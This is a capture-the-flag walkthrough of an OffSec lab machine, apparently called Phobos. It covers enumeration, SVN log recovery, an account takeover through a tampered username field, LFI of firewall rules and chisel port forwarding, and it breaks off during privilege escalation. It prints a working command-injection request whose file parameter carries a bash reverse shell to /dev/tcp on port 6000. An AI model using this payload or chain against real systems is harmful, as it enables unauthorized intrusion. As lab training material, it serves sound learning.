$ nmap -p- --min-rate 3000 192.168.175.131
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-01 19:42 +08
Nmap scan report for 192.168.175.131
Host is up (0.17s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
Web Enumeration
Port 80 hosts the default Apache2 page:
I ran a gobuster scan and found a few directories:
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.175.131/ -t 100
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.175.131/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
===============================================================
2023/07/01 19:43:51 Starting gobuster in directory enumeration mode
===============================================================
/svn (Status: 401) [Size: 462]
/internal (Status: 301) [Size: 321] [--> http://192.168.175.131/internal/]
The /svn directory requires credentials:
Using admin:admin doesn't work for this. When we view the traffic in Burpsuite, we can see that the Authorization header is added and it uses the Basic Base64 method of authenticating users.
I ran another directory scan with wfuzz this time using this header, and managed to find one directory:
$ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hw=19 -t 100 -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://192.168.175.131/svn/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.175.131/svn/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000834: 301 9 L 28 W 320 Ch "dev"
This directory just contains some interesting files:
Source Code Review -> RCE Point
These appear to be files for the application hosted at the other directory of /internal. One of the files users/views.py contains some interesting information:
@staff_member_requireddefremove_view_submissions(request):if(request.method=="POST"): action=request.POST["action"]if(action=="view"): f=request.POST["file"] fil=open('/var/www/html/internal/submissions/'+f,'r')print(f) output=fil.read()returnHttpResponse(content=output)elif(action=="delete"): cmd=["rm","/var/www/html/internal/submissions/{}".format(request.POST["file"])] cmd="/bin/bash -c 'rm /var/www/html/internal/submissions/{}'".format(request.POST["file"])print(cmd) a=os.system(cmd) messages.info(request,message="The file has been deleted") files=subprocess.Popen(['ls','/var/www/html/internal/submissions'],stdout=subprocess.PIPE).stdout.read().decode().split('\n')print(files) context={"files":files}returnrender(request,template_name='submissions.html',context=context)
This bit of code does not validate the name of the file that is being deleted. In this case, we can attempt to upload a file with a name to inject code.
However, when trying to exploit this thing, the internal website does not seem to be working with all the links being broken.
This made me think more about WHERE exactly this site is being hosted.
Svn -> Domain Discovery
Earlier we saw the /svn directory and just enumerated it as per normal. However, 'svn' is short for Subversion, which is a version control application that can be enumerated with the command svn.
We might be able enumerate the logs of the site, and it worked!
$ svn log --username admin --password admin http://192.168.175.131/svn/dev
------------------------------------------------------------------------
r3 | admin | 2021-01-26 23:26:06 +0800 (Tue, 26 Jan 2021) | 1 line
------------------------------------------------------------------------
r2 | admin | 2021-01-26 23:25:43 +0800 (Tue, 26 Jan 2021) | 1 line
Commit 2
------------------------------------------------------------------------
r1 | admin | 2021-01-26 23:25:37 +0800 (Tue, 26 Jan 2021) | 1 line
Created repository
------------------------------------------------------------------------
We can find the differences between the 2nd and 3rd revision of the repository:
$ svn diff -r 3:2 --username admin --password admin http://192.168.175.131/svn/dev
Index: todo
===================================================================
--- todo (nonexistent)
+++ todo (revision 2)
@@ -0,0 +1,5 @@
+*Change this application to a this virtual host internal-phobos.phobos.offsec
+*Randomise the secret key
+* Make a database for maintaining employee ssh credentials
+* Move the entire site to a docker container
+* Configure the ufw firewall
There's a hidden domain here! We can add that to our /etc/hosts file and enumerate that.
Internal Website -> Account Takeover
The website led us to this login page:
Remember that we have the source code of this website, so we can find all the endpoints at the views.py file we saw earlier. The /register directory lets us register a new user.
We can then login to the site! For some reason it's not loading the visual elements right on my machine...
There are a few functions in this site. We know that the 'Submission' one is vulnerable, but we need some kind of administrator account first. So we can view the 'MyAccount' function:
When the traffic is intercepted, it includes a username parameter:
Maybe we can change the username to something else, so I changed it to admin and found that I could login as the admin user!
LFI Firewall Rules -> Shell
The administrator had a few things different, such as the 'Submissions' function being replaced with a submission reviewer:
When we choose a report and view it, it sends this HTTP POST request:
POST /submissions/ HTTP/1.1Host:internal-phobos.phobos.offsecUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateReferer:http://internal-phobos.phobos.offsec/submissions/Content-Type:application/x-www-form-urlencodedContent-Length:109Origin:http://internal-phobos.phobos.offsecConnection:closeCookie:csrftoken=NlmEzR5xYFoRJN4RQFBwld9qX8kEVc9rXi0cClWyw1DblPbtblfBxDbw5xpa1XPL; sessionid=43b8z6j9ik360k1wm6vpc718rem1bsb3Upgrade-Insecure-Requests:1csrfmiddlewaretoken=hZhbo5cgeCuFoeIhJqK2b9S7Xn2rD2CHrWVJrz3hMYJZ0gPT46o7nzUd5M7XJNi1&file=report1&action=view
This looks vulnerable to LFI, and testing it reveals that it works!
Earlier, the repository comments mentioned something about a UFW firewall. A quick google search on its files reveal that the rules are stored at /etc/ufw/user.rules, which can be read using the LFI:
Here are the rules:
### tuple ### allow tcp 80 0.0.0.0/0 any 0.0.0.0/0 in
-A ufw-user-input -p tcp --dport 80 -j ACCEPT
### tuple ### allow any 27017 127.0.0.1 any 0.0.0.0/0 out
-A ufw-user-output -p tcp -d 127.0.0.1 --dport 27017 -j ACCEPT
-A ufw-user-output -p udp -d 127.0.0.1 --dport 27017 -j ACCEPT
### tuple ### allow any 27017 172.17.0.2 any 0.0.0.0/0 out
-A ufw-user-output -p tcp -d 172.17.0.2 --dport 27017 -j ACCEPT
-A ufw-user-output -p udp -d 172.17.0.2 --dport 27017 -j ACCEPT
### tuple ### allow tcp 6000:6007 0.0.0.0/0 any 0.0.0.0/0 out
-A ufw-user-output -p tcp -m multiport --dports 6000:6007 -j ACCEPT
This machine seems to only accept connections using port 6000, which is probably we need to use for our reverse shell. Now that we know what port to use, the only thing left is to abuse the RCE via the Delete File function.
Here's the request I sent:
POST /submissions/ HTTP/1.1Host:internal-phobos.phobos.offsecUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateReferer:http://internal-phobos.phobos.offsec/submissions/Content-Type:application/x-www-form-urlencodedContent-Length:111Origin:http://internal-phobos.phobos.offsecConnection:closeCookie:csrftoken=NlmEzR5xYFoRJN4RQFBwld9qX8kEVc9rXi0cClWyw1DblPbtblfBxDbw5xpa1XPL; sessionid=43b8z6j9ik360k1wm6vpc718rem1bsb3Upgrade-Insecure-Requests:1csrfmiddlewaretoken=lUZv7MQQ8VaNbnkvd8DgAbLB0WIT1V3CvRD3agHRGhp7Npr7yOhlMBNH8lNp7GJW&file=test%3bbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.164%2F6000%200%3E%261&action=delete
This wold give us a shell as www-data:
The user flag is within the /var/www directory.
Privilege Escalation
MongoDB Creds -> Root
We can enumerate the ports that are listening on the host since nmap only picked up on HTTP port 80.
www-data@ubuntu:/home/hackzzdogs$ netstat -tulpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:27017 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:34859 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
It seems that port 27017 for MongoDB is open on the machine. We can use chisel to port forward this. Remember that port 6000 is the port allowed through the firewall! So use that for HTTP and the port to connect to!
# on Kalichiselserver-p6000--reverse# on victim machinechiselclient192.168.45.161:6000R:27017:127.0.0.1:27017
We can then access and enumerate the MongoDB instance from our machine: